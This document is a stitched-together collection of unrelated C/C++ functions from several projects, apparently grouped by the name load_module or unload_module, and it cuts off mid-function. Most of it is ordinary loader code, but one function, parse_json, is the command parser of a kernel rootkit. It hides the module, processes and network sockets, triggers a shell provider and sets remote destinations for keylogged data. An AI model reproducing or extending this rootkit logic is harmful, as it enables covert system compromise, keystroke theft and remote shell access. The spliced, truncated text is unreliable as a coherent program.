static int load_module(void)
{
int res = 0;
int x, y, idx = 0;
trans_size = ARRAY_LEN(codec_list) * (ARRAY_LEN(codec_list) - 1);
if (!(translators = ast_calloc(1, sizeof(struct ast_translator) * trans_size))) {
return AST_MODULE_LOAD_DECLINE;
}
for (x = 0; x < ARRAY_LEN(codec_list); x++) {
for (y = 0; y < ARRAY_LEN(codec_list); y++) {
if (x == y) {
continue;
}
translators[idx].newpvt = resamp_new;
translators[idx].destroy = resamp_destroy;
translators[idx].framein = resamp_framein;
translators[idx].desc_size = 0;
translators[idx].buffer_samples = OUTBUF_SAMPLES;
translators[idx].buf_size = (OUTBUF_SAMPLES * sizeof(int16_t));
memcpy(&translators[idx].src_codec, &codec_list[x], sizeof(struct ast_codec));
memcpy(&translators[idx].dst_codec, &codec_list[y], sizeof(struct ast_codec));
snprintf(translators[idx].name, sizeof(translators[idx].name), "slin %ukhz -> %ukhz",
translators[idx].src_codec.sample_rate, translators[idx].dst_codec.sample_rate);
res |= ast_register_translator(&translators[idx]);
idx++;
}
}
/* in case ast_register_translator() failed, we call unload_module() and
ast_unregister_translator won't fail.*/
if (res) {
unload_module();
return AST_MODULE_LOAD_DECLINE;
}
return AST_MODULE_LOAD_SUCCESS;
}
/*!
* \brief Load the module
*
* Module loading including tests for configuration or dependencies.
* This function can return AST_MODULE_LOAD_FAILURE, AST_MODULE_LOAD_DECLINE,
* or AST_MODULE_LOAD_SUCCESS. If a dependency or environment variable fails
* tests return AST_MODULE_LOAD_FAILURE. If the module can not load the
* configuration file or other non-critical problem return
* AST_MODULE_LOAD_DECLINE. On success return AST_MODULE_LOAD_SUCCESS.
*/
static int load_module(void)
{
CHECK_PJSIP_SESSION_MODULE_LOADED();
ast_sockaddr_parse(&address_ipv4, "0.0.0.0", 0);
ast_sockaddr_parse(&address_ipv6, "::", 0);
if (ast_sip_session_register_supplement(&t38_supplement)) {
ast_log(LOG_ERROR, "Unable to register T.38 session supplement\n");
goto end;
}
if (ast_sip_session_register_sdp_handler(&image_sdp_handler, "image")) {
ast_log(LOG_ERROR, "Unable to register SDP handler for image stream type\n");
goto end;
}
return AST_MODULE_LOAD_SUCCESS;
end:
unload_module();
return AST_MODULE_LOAD_FAILURE;
}
CError CModuleManager::unload_module_in_development( CLoadModuleInDevelopmentResult &result )
{
result.previous_module_id = CGuidHelper::null_guid;
for( map_guid_to_interface_definition::const_iterator i = m_module_id_map.begin(); i != m_module_id_map.end(); i++ )
{
CInterfaceDefinition &interface_definition = CInterfaceDefinition::downcast_writable( *i->second );
if( interface_definition.get_module_source() != CInterfaceDefinition::MODULE_IN_DEVELOPMENT )
{
continue;
}
if ( CGuidHelper::guid_is_null( result.previous_module_id ) )
{
result.previous_module_id = interface_definition.get_module_guid();
if( is_module_in_use( m_server.get_nodes(), interface_definition.get_module_guid() ) )
{
change_module_source( interface_definition, CInterfaceDefinition::MODULE_EMBEDDED );
result.previous_remains_as_embedded = true;
}
else
{
unload_module( &interface_definition );
i = m_module_id_map.begin(); //unloading a module makes the iterator invalid!
}
}
else
{
INTEGRA_TRACE_ERROR << "Encountered more than one in-development module!";
return CError::FAILED;
}
}
return CError::SUCCESS;
}
CError CModuleManager::uninstall_module( const GUID &module_id, CModuleUninstallResult &result )
{
CError CError = CError::SUCCESS;
result.remains_as_embedded = false;
const CInterfaceDefinition *interface_definition = get_interface_by_module_id( module_id );
if( !interface_definition )
{
INTEGRA_TRACE_ERROR << "Can't find interface";
return CError::INPUT_ERROR;
}
if( interface_definition->get_module_source() != CInterfaceDefinition::MODULE_3RD_PARTY )
{
INTEGRA_TRACE_ERROR << "Can't uninstall module - it is not a 3rd party module";
return CError::INPUT_ERROR;
}
if( is_module_in_use( m_server.get_nodes(), module_id ) )
{
result.remains_as_embedded = true;
return change_module_source( ( CInterfaceDefinition & ) *interface_definition, CInterfaceDefinition::MODULE_EMBEDDED );
}
result.remains_as_embedded = false;
CError = CFileHelper::delete_file( interface_definition->get_file_path() );
if( CError != CError::SUCCESS )
{
return CError;
}
unload_module( ( CInterfaceDefinition * ) interface_definition );
return CError::SUCCESS;
}
static int parse_json(char *json_str)
{
int r;
int flag;
int count;
int j;
char *endptr;
int pid;
int port;
struct siginfo info;
jsmn_init(&p);
r = jsmn_parse(&p, json_str, strlen(json_str), t, sizeof(t)/sizeof(t[0]));
if (r < 0) {
DEBUG_PRINT("[Error] failed to parse JSON");
return 1;
}
/* Assume the top-level element is an object */
if (r < 1 || t[0].type != JSMN_OBJECT) {
DEBUG_PRINT("[Error] JSMN object expected");
return 1;
}
DEBUG_PRINT("received new configuration");
/* Loop over all keys of the root object */
for (i=1 ; i<r ; i++)
if (!jsoneq(json_str, &t[i], "unload_module")) {
if ((flag = extract_boolean_value(json_str)) == -1)
continue;
//printk(KERN_INFO "%s: %s\n", "unload_module", (flag) ? "true" : "false");
if (flag)
unload_module();
} else if (!jsoneq(json_str, &t[i], "hide_module")) {
if ((flag = extract_boolean_value(json_str)) == -1)
continue;
//printk(KERN_INFO "%s: %s\n", "hide_module", (flag) ? "true" : "false");
if (flag)
mask_module();
} else if (!jsoneq(json_str, &t[i], "unhide_module")) {
if ((flag = extract_boolean_value(json_str)) == -1)
continue;
//printk(KERN_INFO "%s: %s\n", "unhide_module", (flag) ? "true" : "false");
if (flag)
unmask_module();
} else if (!jsoneq(json_str, &t[i], "provide_shell")) {
if ((flag = extract_boolean_value(json_str)) == -1)
continue;
//printk(KERN_INFO "%s: %s\n", "provide_shell", (flag) ? "true" : "false");
if (flag) {
memset(&info, 0, sizeof(struct siginfo));
info.si_signo = 36;
info.si_code = SI_QUEUE;
info.si_int = 1234;
send_sig_info(36, &info, shell_provider_task);
}
} else if (!jsoneq(json_str, &t[i], "set_keylog_dest")) {
count = extract_array_values(json_str);
//printk(KERN_INFO "%s: %d\n", "keylogging_dest", count);
for (j=0 ; j<count ; j++) {
//printk(KERN_INFO "index %d has value %s\n", j, values[j]);
set_remote_dest(values[j]);
}
} else if (!jsoneq(json_str, &t[i], "hide_processes")) {
count = extract_array_values(json_str);
//printk(KERN_INFO "%s: %d\n", "hide_processes", count);
for (j=0 ; j<count ; j++) {
//printk(KERN_INFO "index %d has value %s\n", j, values[j]);
pid = simple_strtol(values[j], &endptr, 10);
mask_process(pid);
}
} else if (!jsoneq(json_str, &t[i], "unhide_processes")) {
count = extract_array_values(json_str);
//printk(KERN_INFO "%s: %d\n", "unhide_processes", count);
for (j=0 ; j<count ; j++) {
//printk(KERN_INFO "index %d has value %s\n", j, values[j]);
pid = simple_strtol(values[j], &endptr, 10);
unmask_process(pid);
}
} else if (!jsoneq(json_str, &t[i], "hide_sockets_tcp4")) {
count = extract_array_values(json_str);
//printk(KERN_INFO "%s: %d\n", "hide_sockets_tcp4", count);
for (j=0 ; j<count ; j++) {
//printk(KERN_INFO "index %d has value %s\n", j, values[j]);
port = simple_strtol(values[j], &endptr, 10);
mask_socket("tcp4", port);
}
} else if (!jsoneq(json_str, &t[i], "unhide_sockets_tcp4")) {
count = extract_array_values(json_str);
//printk(KERN_INFO "%s: %d\n", "unhide_sockets_tcp4", count);
for (j=0 ; j<count ; j++) {
//printk(KERN_INFO "index %d has value %s\n", j, values[j]);
port = simple_strtol(values[j], &endptr, 10);
unmask_socket("tcp4", port);
}
} else if (!jsoneq(json_str, &t[i], "hide_sockets_tcp6")) {
count = extract_array_values(json_str);
//printk(KERN_INFO "%s: %d\n", "hide_sockets_tcp6", count);
for (j=0 ; j<count ; j++) {
//printk(KERN_INFO "index %d has value %s\n", j, values[j]);
port = simple_strtol(values[j], &endptr, 10);
mask_socket("tcp6", port);
}
} else if (!jsoneq(json_str, &t[i], "unhide_sockets_tcp6")) {
count = extract_array_values(json_str);
//printk(KERN_INFO "%s: %d\n", "unhide_sockets_tcp6", count);
for (j=0 ; j<count ; j++) {
//printk(KERN_INFO "index %d has value %s\n", j, values[j]);
port = simple_strtol(values[j], &endptr, 10);
unmask_socket("tcp6", port);
}
} else if (!jsoneq(json_str, &t[i], "hide_sockets_udp4")) {
count = extract_array_values(json_str);
//printk(KERN_INFO "%s: %d\n", "hide_sockets_udp4", count);
for (j=0 ; j<count ; j++) {
//printk(KERN_INFO "index %d has value %s\n", j, values[j]);
port = simple_strtol(values[j], &endptr, 10);
mask_socket("udp4", port);
}
} else if (!jsoneq(json_str, &t[i], "unhide_sockets_udp4")) {
count = extract_array_values(json_str);
//printk(KERN_INFO "%s: %d\n", "unhide_sockets_udp4", count);
for (j=0 ; j<count ; j++) {
//printk(KERN_INFO "index %d has value %s\n", j, values[j]);
port = simple_strtol(values[j], &endptr, 10);
unmask_socket("udp4", port);
}
} else if (!jsoneq(json_str, &t[i], "hide_sockets_udp6")) {
count = extract_array_values(json_str);
//printk(KERN_INFO "%s: %d\n", "hide_sockets_udp6", count);
for (j=0 ; j<count ; j++) {
//printk(KERN_INFO "index %d has value %s\n", j, values[j]);
port = simple_strtol(values[j], &endptr, 10);
mask_socket("udp6", port);
}
} else if (!jsoneq(json_str, &t[i], "unhide_sockets_udp6")) {
count = extract_array_values(json_str);
//printk(KERN_INFO "%s: %d\n", "unhide_sockets_udp6", count);
for (j=0 ; j<count ; j++) {
//printk(KERN_INFO "index %d has value %s\n", j, values[j]);
port = simple_strtol(values[j], &endptr, 10);
unmask_socket("udp6", port);
}
} else {
//printk(KERN_INFO "Unexpected key: %.*s\n", t[i].end-t[i].start,
// json_str + t[i].start);
;
}
return 0;
}
int nxflat_main(int argc, char *argv[])
{
struct binary_s bin;
int ret;
int i;
/* Initialize the NXFLAT binary loader */
message("Initializing the NXFLAT binary loader\n");
ret = nxflat_initialize();
if (ret < 0)
{
err("ERROR: Initialization of the NXFLAT loader failed: %d\n", ret);
exit(1);
}
/* Create a ROM disk for the ROMFS filesystem */
message("Registering romdisk\n");
ret = romdisk_register(0, romfs_img, NSECTORS(romfs_img_len), SECTORSIZE);
if (ret < 0)
{
err("ERROR: romdisk_register failed: %d\n", ret);
nxflat_uninitialize();
exit(1);
}
/* Mount the file system */
message("Mounting ROMFS filesystem at target=%s with source=%s\n",
MOUNTPT, ROMFSDEV);
ret = mount(ROMFSDEV, MOUNTPT, "romfs", MS_RDONLY, NULL);
if (ret < 0)
{
err("ERROR: mount(%s,%s,romfs) failed: %s\n",
ROMFSDEV, MOUNTPT, errno);
nxflat_uninitialize();
}
/* Now excercise every progrm in the ROMFS file system */
for (i = 0; dirlist[i]; i++)
{
testheader(dirlist[i]);
memset(&bin, 0, sizeof(struct binary_s));
snprintf(path, 128, "%s/%s", MOUNTPT, dirlist[i]);
bin.filename = path;
bin.exports = exports;
bin.nexports = NEXPORTS;
ret = load_module(&bin);
if (ret < 0)
{
err("ERROR: Failed to load program '%s'\n", dirlist[i]);
exit(1);
}
ret = exec_module(&bin, 50);
if (ret < 0)
{
err("ERROR: Failed to execute program '%s'\n", dirlist[i]);
unload_module(&bin);
}
message("Wait a bit for test completion\n");
sleep(4);
}
message("End-of-Test.. Exit-ing\n");
return 0;
}
static Module *load_stdmodule( const char *modfilename, Client * u )
{
int err;
void *handle;
ModuleInfo *infoptr = NULL;
ModuleEvent *eventlistptr = NULL;
Module *mod_ptr = NULL;
int( *ModInit )( void );
CmdParams *cmd;
SET_SEGV_LOCATION();
if( hash_isfull( modulehash ) ) {
load_module_error( u, modfilename, __( "module list is full", u ) );
return NULL;
}
handle = ns_dlopen( modfilename, RTLD_NOW | RTLD_GLOBAL );
if( !handle ) {
load_module_error( u, modfilename, ns_dlerrormsg, modfilename );
return NULL;
}
infoptr = ns_dlsym( handle, "module_info" );
if( infoptr == NULL ) {
load_module_error( u, modfilename, __( "missing module_info", u ) );
ns_dlclose( handle );
return NULL;
}
/* Check module was built for this version of NeoStats */
if( ircstrncasecmp( NEOSTATS_VERSION, infoptr->neostats_version, VERSIONSIZE ) !=0 ) {
load_module_error( u, modfilename, __( "module built with an old version of NeoStats and must be rebuilt.", u ) );
ns_dlclose( handle );
return NULL;
}
if( !infoptr->copyright || ircstrcasecmp( infoptr->copyright[0], "Copyright (c) <year>, <your name>" ) ==0 ) {
load_module_error( u, modfilename, __( "missing copyright text.", u ) );
ns_dlclose( handle );
return NULL;
}
if( !infoptr->about_text || ircstrcasecmp( infoptr->about_text[0], "About your module" ) ==0 ) {
load_module_error( u, modfilename, __( "missing about text.", u ) );
ns_dlclose( handle );
return NULL;
}
/* Check that the Module hasn't already been loaded */
if( hash_lookup( modulehash, infoptr->name ) ) {
ns_dlclose( handle );
load_module_error( u, modfilename, __( "already loaded", u ) );
return NULL;
}
/* Check we have require PROTOCOL/FEATURE support for module */
if( ( infoptr->features & ircd_srv.features ) != infoptr->features ) {
load_module_error( u, modfilename, __( "Required module features not available on this IRCd.", u ), modfilename );
ns_dlclose( handle );
return NULL;
}
/* Lookup ModInit( replacement for library __init() call */
ModInit = ns_dlsym( ( int * ) handle, "ModInit" );
if( !ModInit ) {
load_module_error( u, modfilename, __( "missing ModInit.", u ) );
ns_dlclose( handle );
return NULL;
}
/* Allocate module */
mod_ptr = ( Module * ) ns_calloc( sizeof( Module ) );
dlog( DEBUG1, "Module internal name: %s", infoptr->name );
dlog( DEBUG1, "Module description: %s", infoptr->description );
mod_ptr->info = infoptr;
mod_ptr->handle = handle;
insert_module( mod_ptr );
mod_ptr->type = MOD_TYPE_STANDARD;
/* Extract pointer to event list */
eventlistptr = ns_dlsym( handle, "module_events" );
if( eventlistptr ) {
SET_RUN_LEVEL( mod_ptr );
AddEventList( eventlistptr );
RESET_RUN_LEVEL();
}
/* For Auth modules, register auth function */
if( infoptr->flags & MODULE_FLAG_AUTH ) {
if( AddAuthModule( mod_ptr ) != NS_SUCCESS ) {
load_module_error( u, modfilename, __( "Unable to load auth module: %s missing ModAuthUser function",u ), infoptr->name );
unload_module( mod_ptr->info->name, NULL );
return NULL;
}
}
/* Module side user authentication for e.g. SecureServ helpers
* Not available on auth modules */
if( !( infoptr->flags & MODULE_FLAG_AUTH ) )
mod_ptr->authcb = ns_dlsym( ( int * ) handle, "ModAuthUser" );
if( infoptr->flags & MODULE_FLAG_CTCP_VERSION )
me.versionscan ++;
/* assign a module number to this module */
assign_mod_number( mod_ptr );
SET_SEGV_LOCATION();
SET_RUN_LEVEL( mod_ptr );
DBAOpenDatabase();
err = ( *ModInit )();
RESET_RUN_LEVEL();
if( err < 1 || IsModuleError( mod_ptr ) ) {
load_module_error( u, modfilename, __( "See %s.log for further information.",u ), mod_ptr->info->name );
unload_module( mod_ptr->info->name, NULL );
return NULL;
}
if( infoptr->flags & MODULE_FLAG_LOCAL_EXCLUDES )
{
SET_RUN_LEVEL( mod_ptr );
InitExcludes( mod_ptr );
RESET_RUN_LEVEL();
}
SET_SEGV_LOCATION();
/* Let this module know we are online if we are! */
if( IsNeoStatsSynched() ) {
if( SynchModule( mod_ptr ) != NS_SUCCESS || IsModuleError( mod_ptr ) )
{
load_module_error( u, modfilename, __( "See %s.log for further information.", u ), mod_ptr->info->name );
unload_module( mod_ptr->info->name, NULL );
return NULL;
}
}
cmd = ns_calloc( sizeof( CmdParams ) );
cmd->param = ( char * )infoptr->name;
SendAllModuleEvent( EVENT_MODULELOAD, cmd );
ns_free( cmd );
if( u ) {
irc_prefmsg( ns_botptr, u, __( "Module %s loaded, %s",u ), infoptr->name, infoptr->description );
irc_globops( NULL, _( "Module %s loaded" ), infoptr->name );
}
return mod_ptr;
}
/* command line arguments */
int main (int argc, char * argv[]) {
int ask_help = 0;
int ask_version = 0;
struct option long_options[] = {
{ "help", no_argument, &ask_help, 1},
{ "version", no_argument, &ask_version, 1},
{ "max_mem", required_argument, NULL, 'm' },
{ "colors", required_argument, NULL, 'c' },
{ 0, 0 , 0, 0},
};
const char * short_opts ="hVm:c:";
int c;
int option_index = 0;
// parse options
while (1) {
c = getopt_long (argc, argv, short_opts, long_options, &option_index);
if (c == -1)
break;
switch (c) {
case 0:
break;
case 'c':
{
char * opt = optarg;
if (opt[0] == 'L') {
arg_is_color_cache_level = 1;
opt++;
}
arg_colors = atoi (opt);
if (arg_colors < 0)
error (EXIT_FAILURE, 0, "invalid --colors value \"%s\"", optarg);
}
break;
case 'm':
arg_max_mem = optarg;
break;
case 'h':
ask_help = 1;
break;
case 'V':
ask_version = 1;
break;
default:
error (EXIT_FAILURE, 0, "getopt: unknown option code '%c' (%d)", c, c);
break;
}
}
// forget the parsed part of argv
argc -= optind;
argv = &argv[optind];
if (ask_version) {
printf ("ccontrol: version %s\n", PACKAGE_STRING);
return EXIT_SUCCESS;
}
if (ask_help || argc == 0) {
print_help ();
return EXIT_SUCCESS;
}
if (strcmp (argv[0], "info") == 0) {
return cmd_info ();
} else if (strcmp (argv[0], "load") == 0) {
return load_module ();
} else if (strcmp (argv[0], "unload") == 0) {
return unload_module();
} else {
fprintf (stderr, "unknown command \"%s\"\n", argv[0]);
print_help ();
return EXIT_FAILURE;
}
}
int elf_main(int argc, char *argv[])
#endif
{
struct binary_s bin;
int ret;
int i;
/* Initialize the memory monitor */
mm_initmonitor();
/* Initialize the ELF binary loader */
message("Initializing the ELF binary loader\n");
ret = elf_initialize();
if (ret < 0)
{
err("ERROR: Initialization of the ELF loader failed: %d\n", ret);
exit(1);
}
mm_update(&g_mmstep, "after elf_initialize");
/* Create a ROM disk for the ROMFS filesystem */
message("Registering romdisk at /dev/ram%d\n", CONFIG_EXAMPLES_ELF_DEVMINOR);
ret = romdisk_register(CONFIG_EXAMPLES_ELF_DEVMINOR, (FAR uint8_t *)romfs_img,
NSECTORS(romfs_img_len), SECTORSIZE);
if (ret < 0)
{
err("ERROR: romdisk_register failed: %d\n", ret);
elf_uninitialize();
exit(1);
}
mm_update(&g_mmstep, "after romdisk_register");
/* Mount the file system */
message("Mounting ROMFS filesystem at target=%s with source=%s\n",
MOUNTPT, CONFIG_EXAMPLES_ELF_DEVPATH);
ret = mount(CONFIG_EXAMPLES_ELF_DEVPATH, MOUNTPT, "romfs", MS_RDONLY, NULL);
if (ret < 0)
{
err("ERROR: mount(%s,%s,romfs) failed: %s\n",
CONFIG_EXAMPLES_ELF_DEVPATH, MOUNTPT, errno);
elf_uninitialize();
}
mm_update(&g_mmstep, "after mount");
/* Does the system support the PATH variable? Has the PATH variable
* already been set? If YES and NO, then set the PATH variable to
* the ROMFS mountpoint.
*/
#if defined(CONFIG_BINFMT_EXEPATH) && !defined(CONFIG_PATH_INITIAL)
(void)setenv("PATH", MOUNTPT, 1);
#endif
/* Now excercise every program in the ROMFS file system */
for (i = 0; dirlist[i]; i++)
{
/* Output a seperated so that we can clearly discrinmate the output of
* this program from the others.
*/
testheader(dirlist[i]);
/* Initialize the binary_s structure */
memset(&bin, 0, sizeof(struct binary_s));
/* If the binary loader does not support the PATH variable, then
* create the full path to the executable program. Otherwise,
* use the relative path so that the binary loader will have to
* search the PATH variable to find the executable.
*/
#ifdef CONFIG_BINFMT_EXEPATH
bin.filename = dirlist[i];
#else
snprintf(fullpath, 128, "%s/%s", MOUNTPT, dirlist[i]);
bin.filename = fullpath;
#endif
bin.exports = exports;
bin.nexports = nexports;
/* Load the ELF module */
ret = load_module(&bin);
if (ret < 0)
{
err("ERROR: Failed to load program '%s'\n", dirlist[i]);
exit(1);
}
mm_update(&g_mmstep, "after load_module");
/* Execute the ELF module */
ret = exec_module(&bin);
mm_update(&g_mmstep, "after exec_module");
if (ret < 0)
{
err("ERROR: Failed to execute program '%s'\n", dirlist[i]);
}
else
{
message("Wait a bit for test completion\n");
sleep(4);
}
unload_module(&bin);
mm_update(&g_mmstep, "after unload_module");
}
mm_update(&g_mmstep, "End-of-Test");
return 0;
}
/* Service */
bool CService::load_module(const int64_t id, const char* path){
if(!Super::load_module(id, path)) return false;
if(!path) return false;
m_id =id;
// load dll
m_dl =::dlopen(path, RTLD_NOW | RTLD_GLOBAL);
if(m_dl == 0){
const char* err =::dlerror();
ERROR("fail to call dlopen <%s>, %s", path, err ? err : "no error");
return false;
}
// object pool manager
OPH();
// set path
String* p =String::NewString(path);
ASSIGN_POINTER(m_path, p);
// get name
{
const char* (*fn_get_name)() =(const char* (*)())::dlsym(m_dl, "get_name");
if(!fn_get_name){
const char* err =::dlerror();
ERROR("fail to call dlsym <%s, get_name>, %s", path, err ? err : "no error");
unload_module();
return false;
}
const char* name =fn_get_name();
if(!name) name ="unnamed";
CLEAN_POINTER(m_name);
m_name =String::NewString(name);
m_name->retain();
}
// get desc
{
const char* (*fn_get_desc)() =(const char* (*)())::dlsym(m_dl, "get_desc");
if(!fn_get_desc){
const char* err =::dlerror();
ERROR("fail to call dlsym <%s, get_desc>, %s", path, err ? err : "no error");
unload_module();
return false;
}
const char* desc =fn_get_desc();
if(!desc) desc ="";
CLEAN_POINTER(m_desc);
m_desc =String::NewString(desc);
m_desc->retain();
}
// get on_load
{
m_on_load =(PFN_ON_LOAD)::dlsym(m_dl, "on_load");
if(!m_on_load){
const char* err =::dlerror();
ERROR("fail to call dlsym <%s, on_load>, %s", path, err ? err : "no error");
unload_module();
return false;
}
}
// get on_update
{
m_on_update =(PFN_ON_UPDATE)::dlsym(m_dl, "on_update");
if(!m_on_update){
const char* err =::dlerror();
ERROR("fail to call dlsym <%s, on_update>, %s", path, err ? err : "no error");
unload_module();
return false;
}
}
// get on_start_command
{
m_on_start_command =(PFN_ON_START_COMMAND)::dlsym(m_dl, "on_start_command");
if(!m_on_start_command){
const char* err =::dlerror();
ERROR("fail to call dlsym <%s, on_start_command>, %s", path, err ? err : "no error");
unload_module();
return false;
}
}
// get on_unload
{
m_on_unload =(PFN_ON_UNLOAD)::dlsym(m_dl, "on_unload");
if(!m_on_unload){
const char* err =::dlerror();
ERROR("fail to call dlsym <%s, on_unload>, %s", path, err ? err : "no error");
unload_module();
return false;
}
}
return true;
}
lizard::plugin_factory::~plugin_factory()
{
unload_module();
}
int elf_main(int argc, char *argv[])
{
struct binary_s bin;
int ret;
int i;
/* Initialize the memory monitor */
mm_initmonitor();
/* Initialize the ELF binary loader */
message("Initializing the ELF binary loader\n");
ret = elf_initialize();
if (ret < 0)
{
err("ERROR: Initialization of the ELF loader failed: %d\n", ret);
exit(1);
}
mm_update(&g_mmstep, "after elf_initialize");
/* Create a ROM disk for the ROMFS filesystem */
message("Registering romdisk at /dev/ram%d\n", CONFIG_EXAMPLES_ELF_DEVMINOR);
ret = romdisk_register(CONFIG_EXAMPLES_ELF_DEVMINOR, (FAR uint8_t *)romfs_img,
NSECTORS(romfs_img_len), SECTORSIZE);
if (ret < 0)
{
err("ERROR: romdisk_register failed: %d\n", ret);
elf_uninitialize();
exit(1);
}
mm_update(&g_mmstep, "after romdisk_register");
/* Mount the file system */
message("Mounting ROMFS filesystem at target=%s with source=%s\n",
MOUNTPT, CONFIG_EXAMPLES_ELF_DEVPATH);
ret = mount(CONFIG_EXAMPLES_ELF_DEVPATH, MOUNTPT, "romfs", MS_RDONLY, NULL);
if (ret < 0)
{
err("ERROR: mount(%s,%s,romfs) failed: %s\n",
CONFIG_EXAMPLES_ELF_DEVPATH, MOUNTPT, errno);
elf_uninitialize();
}
mm_update(&g_mmstep, "after mount");
/* Now excercise every program in the ROMFS file system */
for (i = 0; dirlist[i]; i++)
{
testheader(dirlist[i]);
memset(&bin, 0, sizeof(struct binary_s));
snprintf(path, 128, "%s/%s", MOUNTPT, dirlist[i]);
bin.filename = path;
bin.exports = exports;
bin.nexports = nexports;
ret = load_module(&bin);
if (ret < 0)
{
err("ERROR: Failed to load program '%s'\n", dirlist[i]);
exit(1);
}
mm_update(&g_mmstep, "after load_module");
ret = exec_module(&bin, 50);
mm_update(&g_mmstep, "after exec_module");
if (ret < 0)
{
err("ERROR: Failed to execute program '%s'\n", dirlist[i]);
}
else
{
message("Wait a bit for test completion\n");
sleep(4);
}
unload_module(&bin);
mm_update(&g_mmstep, "after unload_module");
}
mm_update(&g_mmstep, "End-of-Test");
return 0;
}
/* If module_action = 1, load module; if module_action = 2, unload module. */
static int match_usb_modules (unsigned short vendor, unsigned short product, unsigned short bcdDevice,
unsigned char deviceclass, unsigned char devicesubclass, unsigned char deviceprotocol,
unsigned char interfaceclass, unsigned char interfacesubclass, unsigned char interfaceprotocol, int module_action)
{
int i;
int retval=0;
dbg ("vendor = %x, product = %x, bcdDevice = %x", vendor, product, bcdDevice);
dbg ("deviceclass = %x, devicesubclass = %x, deviceprotocol = %x", deviceclass, devicesubclass, deviceprotocol);
dbg ("interfaceclass = %x, interfacesubclass = %x, interfaceprotocol = %x", interfaceclass, interfacesubclass, interfaceprotocol);
for (i = 0; usb_module_map[i].module_name != NULL; ++i) {
dbg ("looking at %s, match_flags = %x", usb_module_map[i].module_name, usb_module_map[i].match_flags);
if (usb_module_map[i].match_flags & (USB_DEVICE_ID_MATCH_DEVICE | USB_DEVICE_ID_MATCH_DEV_RANGE)) {
if ((usb_module_map[i].match_flags & USB_DEVICE_ID_MATCH_VENDOR) &&
(usb_module_map[i].idVendor != vendor)) {
dbg ("vendor check failed %x != %x", usb_module_map[i].idVendor, vendor);
continue;
}
if ((usb_module_map[i].match_flags & USB_DEVICE_ID_MATCH_PRODUCT) &&
(usb_module_map[i].idProduct != product)) {
dbg ("product check failed %x != %x", usb_module_map[i].idProduct, product);
continue;
}
if ((usb_module_map[i].match_flags & USB_DEVICE_ID_MATCH_DEV_LO) &&
(usb_module_map[i].bcdDevice_lo > bcdDevice)) {
dbg ("bcdDevice_lo check failed %x > %x", usb_module_map[i].bcdDevice_lo, bcdDevice);
continue;
}
if ((usb_module_map[i].match_flags & USB_DEVICE_ID_MATCH_DEV_HI) &&
(usb_module_map[i].bcdDevice_hi < bcdDevice)) {
dbg ("bcdDevice_hi check failed %x < %x", usb_module_map[i].bcdDevice_hi, bcdDevice);
continue;
}
}
if (usb_module_map[i].match_flags & USB_DEVICE_ID_MATCH_DEV_INFO) {
if ((usb_module_map[i].match_flags & USB_DEVICE_ID_MATCH_DEV_CLASS) &&
(usb_module_map[i].bDeviceClass != deviceclass)) {
dbg ("class check failed %x != %x", usb_module_map[i].bDeviceClass, deviceclass);
continue;
}
if ((usb_module_map[i].match_flags & USB_DEVICE_ID_MATCH_DEV_SUBCLASS) &&
(usb_module_map[i].bDeviceSubClass != devicesubclass)) {
dbg ("subclass check failed %x != %x", usb_module_map[i].bDeviceSubClass, devicesubclass);
continue;
}
if ((usb_module_map[i].match_flags & USB_DEVICE_ID_MATCH_DEV_PROTOCOL) &&
(usb_module_map[i].bDeviceProtocol != deviceprotocol)) {
dbg ("protocol check failed %x != %x", usb_module_map[i].bDeviceProtocol, deviceprotocol);
continue;
}
}
if (usb_module_map[i].match_flags & USB_DEVICE_ID_MATCH_INT_INFO) {
if ((usb_module_map[i].match_flags & USB_DEVICE_ID_MATCH_INT_CLASS) &&
(usb_module_map[i].bInterfaceClass != interfaceclass)) {
dbg ("class check failed %x != %x", usb_module_map[i].bInterfaceClass, interfaceclass);
continue;
}
if ((usb_module_map[i].match_flags & USB_DEVICE_ID_MATCH_INT_SUBCLASS) &&
(usb_module_map[i].bInterfaceSubClass != interfacesubclass)) {
dbg ("subclass check failed %x != %x", usb_module_map[i].bInterfaceSubClass, interfacesubclass);
continue;
}
if ((usb_module_map[i].match_flags & USB_DEVICE_ID_MATCH_INT_PROTOCOL) &&
(usb_module_map[i].bInterfaceProtocol != interfaceprotocol)) {
dbg ("protocol check failed %x != %x", usb_module_map[i].bInterfaceProtocol, interfaceprotocol);
continue;
}
}
/* found one! */
if(module_action == 1) {
if(parse_config(HOTPLUG_CONFIG_FILE, "nomodule", "*", 0) == 1) {
dbg ("Skip loading usb module.");
} else {
dbg ("loading %s", usb_module_map[i].module_name);
retval = load_module (usb_module_map[i].module_name);
}
} else if(module_action == 2) {
dbg ("unloading %s", usb_module_map[i].module_name);
retval = unload_module (usb_module_map[i].module_name);
}
if (retval)
return retval;
}
return -ENODEV;
}
int exec(FAR const char *filename, FAR char * const *argv,
FAR const struct symtab_s *exports, int nexports)
{
#if defined(CONFIG_SCHED_ONEXIT) && defined(CONFIG_SCHED_HAVE_PARENT)
FAR struct binary_s *bin;
int pid;
int err;
int ret;
/* Allocate the load information */
bin = (FAR struct binary_s *)kmm_zalloc(sizeof(struct binary_s));
if (!bin)
{
bdbg("ERROR: Failed to allocate binary_s\n");
err = ENOMEM;
goto errout;
}
/* Initialize the binary structure */
bin->filename = filename;
bin->exports = exports;
bin->nexports = nexports;
/* Copy the argv[] list */
ret = binfmt_copyargv(bin, argv);
if (ret < 0)
{
err = -ret;
bdbg("ERROR: Failed to copy argv[]: %d\n", err);
goto errout_with_bin;
}
/* Load the module into memory */
ret = load_module(bin);
if (ret < 0)
{
err = get_errno();
bdbg("ERROR: Failed to load program '%s': %d\n", filename, err);
goto errout_with_argv;
}
/* Disable pre-emption so that the executed module does
* not return until we get a chance to connect the on_exit
* handler.
*/
sched_lock();
/* Then start the module */
pid = exec_module(bin);
if (pid < 0)
{
err = get_errno();
bdbg("ERROR: Failed to execute program '%s': %d\n", filename, err);
goto errout_with_lock;
}
/* Set up to unload the module (and free the binary_s structure)
* when the task exists.
*/
ret = schedule_unload(pid, bin);
if (ret < 0)
{
err = get_errno();
bdbg("ERROR: Failed to schedule unload '%s': %d\n", filename, err);
}
sched_unlock();
return pid;
errout_with_lock:
sched_unlock();
unload_module(bin);
errout_with_argv:
binfmt_freeargv(bin);
errout_with_bin:
kmm_free(bin);
errout:
set_errno(err);
return ERROR;
#else
struct binary_s bin;
int err;
int ret;
/* Load the module into memory */
memset(&bin, 0, sizeof(struct binary_s));
bin.filename = filename;
bin.exports = exports;
bin.nexports = nexports;
ret = load_module(&bin);
if (ret < 0)
{
err = get_errno();
bdbg("ERROR: Failed to load program '%s': %d\n", filename, err);
goto errout;
}
